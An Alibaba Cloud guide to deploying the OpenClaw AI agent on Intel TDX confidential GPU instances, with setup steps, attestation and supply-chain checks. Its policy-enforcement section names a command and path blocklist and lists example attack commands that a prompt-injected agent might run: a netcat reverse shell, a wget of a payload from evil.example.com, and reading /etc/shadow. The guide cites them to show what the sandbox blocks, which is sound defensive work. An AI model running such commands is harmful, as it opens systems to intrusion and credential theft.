すべてのプロダクト
Search
ドキュメントセンター

Elastic Compute Service:異種機密コンピューティングインスタンスにおける OpenClaw 機密 AI エージェントの構築

最終更新日:Aug 25, 2026

AI エージェントは、ランタイムにユーザーとの会話、外部ツールの呼び出し、長期記憶、サービス認証情報を処理するため、従来のアプリケーションよりもはるかに大きな攻撃対象領域を露呈します。Alibaba Cloud gn8v-tee 異種機密コンピューティングインスタンスは、Intel TDX と NVIDIA GPU 機密コンピューティングを使用して、完全な高信頼実行環境 (TEE) を提供します。これらのインスタンスにオープンソースの AI エージェントフレームワークである OpenClaw をデプロイすると、ハードウェアレベルのデータ保護、リモートアテステーション、サプライチェーンの検証可能性が実現され、モデル推論とユーザーインタラクションのエンドツーエンドのセキュリティが確保されます。

概要

Confidential Agent ソリューションは、Intel TDX (Trust Domain Extensions) をサポートする gn8v-tee インスタンス上に OpenClaw をデプロイします。Qwen3.6-35B-A3B 混合エキスパート (MoE) モデルはインスタンス上でローカルに実行されるため、エージェントの実行とモデル推論は、サードパーティの API サービスを呼び出すことなく、TDX トラストドメイン内に完全に留まります。ユーザーの入力、モデルの重み、推論の中間状態、AI の出力は、処理中に機密インスタンスの信頼境界から出ることはありません。

説明

gn8v-tee は、Alibaba Cloud がリリースした GPU ベースの機密コンピューティングインスタンスファミリーです。Intel TDX のハードウェア暗号化と NVIDIA GPU アクセラレーションを統合し、AI 推論のパフォーマンスとデータセキュリティのコンプライアンス要件の両方を満たします。このトピックでは、cn-beijing-l ゾーンで Alibaba Cloud Linux 3 を実行する ecs.gn8v-tee.4xlarge を例に説明します。より大規模なワークロードの場合は、マルチ GPU インスタンスタイプにスケールアウトできます。

セキュリティアーキテクチャ

Confidential Agent のデプロイでは、すべてのコアデータが高信頼実行環境 (TEE) の境界内に留まります。以下の 3 種類のアセットが厳格に保護されます:

保護対象アセット

説明

ユーザーの会話のプライバシー

ユーザーの入力、ツールの実行コンテキスト、AI の応答。これらには、個人を特定できる情報 (PII)、医療記録、財務データなどの機密情報が含まれる場合があります。

エージェントのメモリと状態

OpenClaw の長期記憶、設定、SKILL ファイル。これらは時間とともに価値の高い標的になります。

サービス資格情報

DingTalk などの IM プラットフォームの OAuth 資格情報、外部 API キー、ゲートウェイトークン。

セキュリティアーキテクチャは、下から上に、ハードウェア、ブートチェーン、ランタイム、キー管理、通信の 5 つのレイヤーで構成されます:

保護レイヤー

メカニズム

ハードウェア

Intel TDX のメモリ暗号化エンジン (MEE) がすべてのゲストメモリを透過的に暗号化します。クラウドプロバイダーは平文を読み取ることはできません。

ブートチェーン

統合カーネルイメージ (UKI) + dm-verity rootfs による改ざん防止。リモートアテステーションがランタイムの整合性を検証します。サプライチェーンの参照値は Rekor 透明性ログに記録されます。

ランタイム

PEP ポリシーサンドボックスが、リスクの高いコマンドや機密パスへのアクセスをブロックし、プロンプトインジェクションによる権限昇格を防ぎます。

キー管理

ディスク暗号化キーは、ブート時のリモートアテステーションチャレンジを通じて注入され、ユーザーがローカルに保持します。クラウドプロバイダーは関与しません。

通信

RATS-TLS によるエンドツーエンド暗号化。暗号化チャネルは、リモートアテステーションがインスタンスの ID を検証した後にのみ確立されます。すべての通信は転送中に暗号化されます。

デプロイメントワークフロー

image
  1. ソースコード監査:デプロイヤーはビジネスソースコードを監査し、悪意のあるコードやバックドアが存在しないことを確認します。

  2. アーティファクトのビルドとソフトウェア参照値の公開:監査済みのソースコードから OpenClaw サービスのみを含む軽量 OS イメージをビルドし、ビルドアーティファクトの SLSA 署名を Rekor 透明性ログにアップロードして、ソフトウェア参照値を公開します。

  3. 機密インスタンスの作成:ビルドしたイメージを使用して、gn8v-tee 機密コンピューティングインスタンスを作成します。

  4. リモートアテステーション監査と機密リソースのアップロード:デプロイヤーはデプロイメントツールを使用してインスタンスに対してリモートアテステーションを実行し、インスタンスが正規の TDX ハードウェアで実行されていることを検証します。検証後、ディスク暗号化キーや DingTalk ボットの資格情報などの機密リソースが自動的にアップロードされます。

  5. OpenClaw へのアクセス:ユーザーは、Web ブラウザー、デスクトップクライアント、または TUI ターミナルを介して直接 OpenClaw にアクセスするか、DingTalk などの IM プラットフォームを介して間接的にアクセスできます。

  6. リモートアテステーション監査と暗号化伝送:接続を確立する前に、高信頼ゲートウェイクライアントは Rekor からソフトウェア参照値、Intel PCCS および RIM/OCSP からハードウェア参照値を取得します。リモートアテステーションの検証が完了すると、RATS-TLS 暗号化チャネルが確立されます。すべての通信はエンドツーエンドで暗号化されます。

前提条件

  • Elastic Compute Service (ECS) が有効化されており、アカウントに gn8v-tee インスタンスを作成する権限があること。

  • デプロイマシンとして、Alibaba Cloud Linux 3 が稼働する ECS インスタンス (汎用インスタンスまたはその他のタイプ) を用意し、使用可能なディスク領域が 80 GB 以上あること。

    重要

    デプロイマシンはデプロイメント操作にのみ使用します。汎用インスタンスで十分です。gn8v-tee インスタンスを使用する必要はありません。以降の手順では、デプロイマシン上でコマンドを実行して gn8v-tee インスタンスを作成します。

  • Alibaba Cloud の AccessKey ペアを取得していること。RAM ロールまたは STS 一時的な認証情報の使用を推奨します。

  • DingTalk 統合を使用する場合は、DingTalk の社内エンタープライズアプリケーションを作成し、必要な認証情報を取得していること。

操作手順

手順 1:OpenClaw と vLLM 推論エンジンを含む信頼できるイメージの構築

デプロイマシン (Alibaba Cloud Linux 3 インスタンス) で、ソースコードのダウンロード、依存関係のインストール、キーの生成、クラウドリソースの設定、信頼できるイメージの構築を行います。

  1. ECS インスタンスにログインします。

    1. ECS コンソール - インスタンスに移動し、上部ナビゲーションバーで対象のリージョンとリソースグループを選択します。

    2. 対象インスタンスの詳細ページに移動し、[Connect] をクリックして、[Workbench] を選択します。 接続方法を [Terminal] に設定し、ユーザー名とパスワードを入力して、グラフィカルターミナルページにログインします。

  2. プロジェクトのソースコードをダウンロードします。

    cd ~/
    git clone https://github.com/inclavare-containers/confidential-agent
    cd confidential-agent
  3. 必要なソフトウェア依存関係をすべてインストールします。

    make install-deps

    このコマンドは、ビルドとデプロイに必要な Docker、Terraform、Go、Python、cosign、rekor-cli などのツールをインストールします。

  4. デプロイに必要な暗号化キーと設定ファイルを生成します。

    make generate-secrets

    キーが生成されたら、secrets/openclaw-vllm.json を編集し、プレースホルダーを DingTalk アプリケーションの認証情報やモデル設定などの実際の値に置き換えます。 次の表に、各プレースホルダーの説明を示します。

    プレースホルダー

    説明

    取得方法

    <DINGTALK_BOT_CLIENT_ID>

    DingTalk ボットの ClientId

    詳細については、「DingTalk Bot + OpenClaw」をご参照ください。 DingTalk 開発者ポータル でアプリケーションを作成して値を取得します。

    <DINGTALK_BOT_CLIENT_SECRET>

    DingTalk ボットの ClientSecret

    上記と同じです。 アプリケーションの詳細ページから値を取得します。

  5. Terraform の変数ファイルを設定します。

    説明

    Terraform は、オープンソースのコードとしてのインフラストラクチャ (IaC) ツールであり、宣言的な設定ファイルを使用して、Alibaba Cloud 上のクラウドリソースやサービスの作成、変更、バージョン管理を自動化します。 このソリューションでは、Terraform を使用して機密インスタンスのデプロイを自動化します。

    cp terraform/terraform.tfvars.example terraform/terraform.tfvars

    terraform/terraform.tfvars ファイルを編集し、次の表の説明に従って主要なパラメーターを設定します。

    パラメーター

    推奨値

    説明

    zone_id

    "cn-beijing-l"

    gn8v-tee インスタンスファミリーをサポートするゾーン

    vpc_cidr

    "10.0.0.0/16"

    VPC の CIDR ブロック

    vswitch_cidr

    "10.0.1.0/24"

    vSwitch の CIDR ブロック

    security_group_allowed_cidr

    "0.0.0.0/0"

    OpenClaw サービスにアクセスする必要があるクライアント環境の IP CIDR ブロック

    重要

    security_group_allowed_cidr のデフォルト値は 0.0.0.0/0 です。 本番環境では、この値を特定の IP CIDR ブロックに変更し、必要な送信元 IP アドレスのみを許可するようにしてください。

  6. Terraform でクラウドリソースを作成するために、Alibaba Cloud のアクセス認証情報をエクスポートします。

    export ALICLOUD_ACCESS_KEY="<YOUR_ACCESS_KEY>"
    export ALICLOUD_SECRET_KEY="<YOUR_SECRET_KEY>"
    説明

    AccessKey ペアの長期保存を避けるため、RAM ロールまたは一時的な認証情報 (STS) を使用することを推奨します。 AccessKey ペアの作成方法については、「AccessKey ペアの作成」をご参照ください。

  7. OpenClaw と vLLM 推論エンジンを含む信頼できるイメージを構築します。

    make build PROFILE=openclaw-vllm
    説明

    最初のビルドには GPU ドライバーのインストールなどの手順が含まれるため、完了まで時間がかかります。

    ビルドが完了すると、次の 2 つのイメージが生成されます。

    イメージタイプ

    説明

    本番イメージ

    SSH サーバーを削除し、ランタイムを最小限に抑えた、本番デプロイ用のセキュリティ強化バージョンです。

    デバッグイメージ

    SSH アクセスとデバッグツールを含む、トラブルシューティング専用のバージョンです。

    ビルドプロセス中に、イメージの参照値も Rekor 透明性ログにアップロードされます。 デプロイ時の検証用に、.rekor-meta.json メタデータファイルが生成されます。

手順 2:信頼できるイメージのインスタンスへのデプロイ

信頼できるイメージを gn8v-tee インスタンスにデプロイし、TNG を介してエンドツーエンドの暗号化チャネルを確立します。

  1. デプロイマシンで次のコマンドを実行し、信頼できるイメージを使用して gn8v-tee インスタンスを作成します。 インスタンスが作成されると、インスタンスでリモートアテステーションが実行され、機密リソースがアップロードされます。

    make deploy PROFILE=openclaw-vllm RV_MODE=rekor

    次の表に、主要なパラメーターの説明を示します。

    パラメーター

    説明

    PROFILE=openclaw-vllm

    使用するデプロイプロファイル

    RV_MODE=rekor

    デプロイ中に Rekor 透明性ログを使用してイメージの参照値を検証します

    このデプロイにより、クラウドに次のリソースが作成されます。

    • OSS バケット:信頼できる VM イメージ (.qcow2) をアップロードしてホストするために使用されるプライベートストレージ領域。

    • ECS カスタムイメージ:OSS イメージファイルから Alibaba Cloud ECS のカスタムイメージライブラリにインポートされます。

    • ECS GPU 機密コンピューティングインスタンス:セキュリティグループと vSwitch にアタッチされた ecs.gn8v-tee.4xlarge 機密コンピューティングインスタンス。 UKI 起動パラメーターには、リモートアテステーションチャレンジの設定が含まれます。

    • セキュリティグループ:SSH (ポート 22) と TNG (ポート 18789) を開き、指定された CIDR ブロックからのアクセスのみを許可します。

    説明

    デフォルトでは、デバッグイメージがデプロイされます。 本番イメージ (SSH アクセスなし) をデプロイするには、イメージファイルを手動で指定してください。

    重要

    デプロイ中にイメージが OSS にアップロードされ、モデルが ModelScope からダウンロードされるため、インターネットアクセスが必要となり、通信料が発生します。

  2. デプロイマシンで TNG クライアントを起動し、デプロイマシンとクラウド上の gn8v-tee インスタンスとの間に RATS-TLS 暗号化チャネルを確立します。

    make connect-tng

    接続に成功すると、出力に OpenClaw の HTTP および WebSocket の URL とアクセストークンが表示されます。 これ以降の通信はすべて、RATS-TLS 暗号化によって保護されます。

  3. TNG トンネル経由で OpenClaw サービスが利用可能かを確認します。

    curl -s http://localhost:18789/health

    正常なステータスが返ってきたら、サービスにアクセスできます。

手順 3:機密コンピューティングで保護された OpenClaw サービスへのアクセス

サービスが利用可能になったら、次の4つのいずれかの方法で OpenClaw にアクセスします。

方法 1:DingTalk チャット経由

DingTalk で設定したボットを見つけ、メッセージを送信して OpenClaw との会話を開始します。

image

方法 2:ブラウザーベースの Web UI 経由

準備:ローカルマシンからデプロイマシンへのポートフォワーディングの確立

手順 2 の make connect-tng コマンドはデプロイマシンで実行され、TNG トンネルをデプロイマシンの localhost:18789 にバインドします。 ローカルマシンからデプロイマシンへの SSH ポートフォワーディングを設定します:

ssh -L 18789:127.0.0.1:18789 root@<deployment machine IP>

ポートフォワーディングを確立すると、ローカルマシンのブラウザーやクライアントから localhost:18789 にアクセスすることで、デプロイマシン上の TNG トンネルにアクセスできます。

ブラウザー経由でのアクセス

ローカルマシンで SSH ポートフォワーディングを設定した後、ブラウザーで http://localhost:18789/openclaw にアクセスして Web コントロールパネルを開きます。 手順2で取得した OpenClaw トークンを入力して、サービスにアクセスします。

image

方法 3:OpenClaw デスクトップクライアント経由

準備:ローカルマシンからデプロイマシンへのポートフォワーディングの確立

手順 2 の make connect-tng コマンドはデプロイマシンで実行され、TNG トンネルをデプロイマシンの localhost:18789 にバインドします。 ローカルマシンからデプロイマシンへの SSH ポートフォワーディングを設定します:

ssh -L 18789:127.0.0.1:18789 root@<deployment machine IP>

ポートフォワーディングを確立すると、ローカルマシンのブラウザーやクライアントから localhost:18789 にアクセスすることで、デプロイマシン上の TNG トンネルにアクセスできます。

デスクトップクライアント経由でのアクセス

ローカルマシンに OpenClaw デスクトップクライアントをインストールし、リモートモードを設定し、接続アドレスを ws://localhost:18789 に設定し、手順2で取得した OpenClaw トークンを入力します。

方法 4:OpenClaw TUI 経由

デプロイマシンに OpenClaw をクライアントとしてインストールします:

npm install -g openclaw@latest --registry=https://registry.npmmirror.com

次に、デプロイマシンで次のコマンドを実行して OpenClaw TUI を起動し、リモートの OpenClaw インスタンスに接続します:

openclaw tui --url ws://localhost:18789 --token <gateway-token>

<gateway-token> を手順 2 で取得した OpenClaw ゲートウェイトークンに置き換えます。

説明

TUI 経由で初めて接続すると、pairing required というメッセージが表示されます。 ブラウザーで http://localhost:18789/openclaw に移動し、[Nodes] ページで承認待ちのデバイスを見つけ、[Approve] をクリックして承認を完了します。 その後、TUI に戻ります。

承認が完了すると、TUI で会話ができるようになります:

image

ステップ 4 (任意):リソースのリリース

サービスが不要になった場合は、次のコマンドを実行してすべてのクラウド リソースをリリースします:

make destroy PROFILE=openclaw-vllm
警告

この操作は元に戻すことができず、 ECS インスタンスと関連するネットワーク リソースを削除します。このコマンドを実行する前に、インスタンス上のデータが必要ないことを確認してください。

Security verification

Verify the trustworthiness of the runtime environment

OpenClaw includes a built-in tdx-remote-attestation skill that automatically triggers remote attestation when security-related questions are asked, verifying the security status of the current runtime environment.

How to trigger: Ask security-related questions in DingTalk, Web, or TUI, such as "Is my data safe?" or "Is this environment trustworthy?"

Return content:

Verification item

Description

Hardware trust status

A hardware value of 32 or lower indicates verification passed

TEE type

Intel TDX Trust Domain

Memory encryption protection

Confirms that the Memory Encryption Engine is enabled

UKI boot chain integrity

Verifies consistency of component measurement values

image (1)

Verify PEP policy enforcement

PEP (Policy Enforcement Point) is a runtime gating mechanism for confidential AI agents. When an agent such as OpenClaw executes a command through the exec tool, the request first passes through cai-pep for policy matching, then runs in an isolated Docker sandbox (network mode none). Configurable policies enforce mandatory restrictions on the tools available to the agent, preventing security risks from malicious prompt injection.

PEP provides three layers of protection:

  1. Command-level blocking: Rejects high-risk commands based on a blocklist, such as curl, wget, nc, ssh, and docker.

  2. Path-level blocking: Prevents access to sensitive paths, such as /etc, /proc, /root, and /home/openclaw/.openclaw.

  3. Network isolation: The sandbox has no network access. Even if a command bypasses the blocklist, it cannot establish outbound connections.

The default policy file is at ~/confidential-agent/image/customize/files/cai-pep-default-policy.json on the deployment machine. You can modify the command blocklist, path blocklist, and resource limits before building the image.

If an agent is compromised by malicious prompt injection and an attacker attempts to establish a reverse shell or download a malicious payload, PEP automatically blocks these high-risk operations:

Attack method

Example command

Reason for blocking

Reverse shell

nc 10.0.0.99 4444 -e /bin/bash

nc is on the command blocklist

Download malicious payload

wget http://evil.example.com/payload.sh

wget is on the command blocklist

Read sensitive files

cat /etc/shadow

/etc/shadow matches the path prefix /etc

Verify supply chain integrity

The deployment uses the Rekor transparency log by default to store image reference values. During remote attestation, reference values are automatically retrieved from Rekor for verification. You can audit the Rekor log entries to verify supply chain integrity by using the following methods.

View Rekor records

After the build is complete, you can find the log index and entry URL of the record on the deployment machine:

cat ~/confidential-agent/image/output/slsa-output-cai-openclaw-vllm-debug-*/rekor-v1-upload.txt

Example output:

Created entry at index 1205944956, available at: https://rekor.sigstore.dev/api/v1/log/entries/<uuid>

Verify inclusion proof

The inclusion proof confirms that the entry containing image reference values exists in the Merkle Root of the Rekor log.

rekor-cli verify --log-index 1205944956 --rekor_server https://rekor.sigstore.dev

If the output contains two identical hash values, the verification is successful:

Computed Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090
Expected Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090

Verify consistency proof

The consistency proof confirms that an older Merkle Root (Root A) is a prefix or historical state of a newer Merkle Root (Root B), ensuring that reference value entries stored in Rekor have not been tampered with or deleted.

rekor-cli loginfo --rekor_server https://rekor.sigstore.dev

If the output contains the following content, the verification is successful:

Verification Successful!

セキュリティグループの設定

make deploy の実行中に、セキュリティグループルールが自動的に作成されます。後でセキュリティグループを変更する必要がある場合は、次のルールが含まれていることを確認してください。

ポート

プロトコル

説明

セキュリティの推奨事項

22

TCP

SSH リモート管理 (デバッグイメージのみ)

ソース IP を管理ネットワークに制限してください。

18789

TCP

OpenClaw サービスへのアクセスに使用される TNG トンネルエンドポイント (RATS-TLS)

ソース IP を制限するか、TNG 経由でアクセスしてください。

重要: 本番環境では、必ず security_group_allowed_cidr を特定の管理 IP CIDR ブロックに変更してください。 0.0.0.0/0 は使用しないでください。

よくある質問

  • make build 、依存関係の不足エラーで失敗する

    すべての依存関係がインストールされており、ディスク領域が十分であることを確認してください:

    make install-deps
    df -h /

    これで問題が解決しない場合は、make clean-image を実行してビルドアクティファクトをクリーンアップし、再ビルドしてください。

  • make deploy で次のエラーが発生 NoSetRoletoECSServiceAcount

    このエラーは、ECS イメージインポートロールが承認されていないことを示します。次のいずれかの操作を実行して解決してください:

    • Alibaba Cloud コンソールにログインし、[ECS] > [イメージ] > [イメージのインポート] に移動して [承認] をクリックし、AliyunECSImageImportDefaultRole ロールを作成します。

    • RAM コンソールで、AliyunECSImageImportDefaultRole ロールに AliyunOSSFullAccess ポリシーを付与します。

  • サービスが応答しない

    1. デバッグイメージがデプロイされていることを確認してください (本番イメージには SSH は含まれていません)。

    2. 再デプロイし、 make deploy がエラーなしで完了することを確認します。

    3. デバッグイメージをデプロイし、 SSH 経由で接続してトラブルシューティングのためにログを確認してください。

  • ローカルの TNG 検証が失敗する

    ローカルの Trustee コンテナが実行中であり、正常であることを確認してください:

    # ローカルの Trustee コンテナが実行中であることを確認
    docker ps | grep cai-local-trustee
    
    # Trustee のヘルスステータスを確認
    curl http://127.0.0.1:18081/api/health
    
    # Trustee の準備ができていない場合は、再実行
    make connect-tng
  • cai-pep がすべてのツール呼び出しを拒否する

    デバッグイメージをデプロイし、 SSH 経由で接続して、 cai-pep のログでブロックされた具体的な理由を確認してください。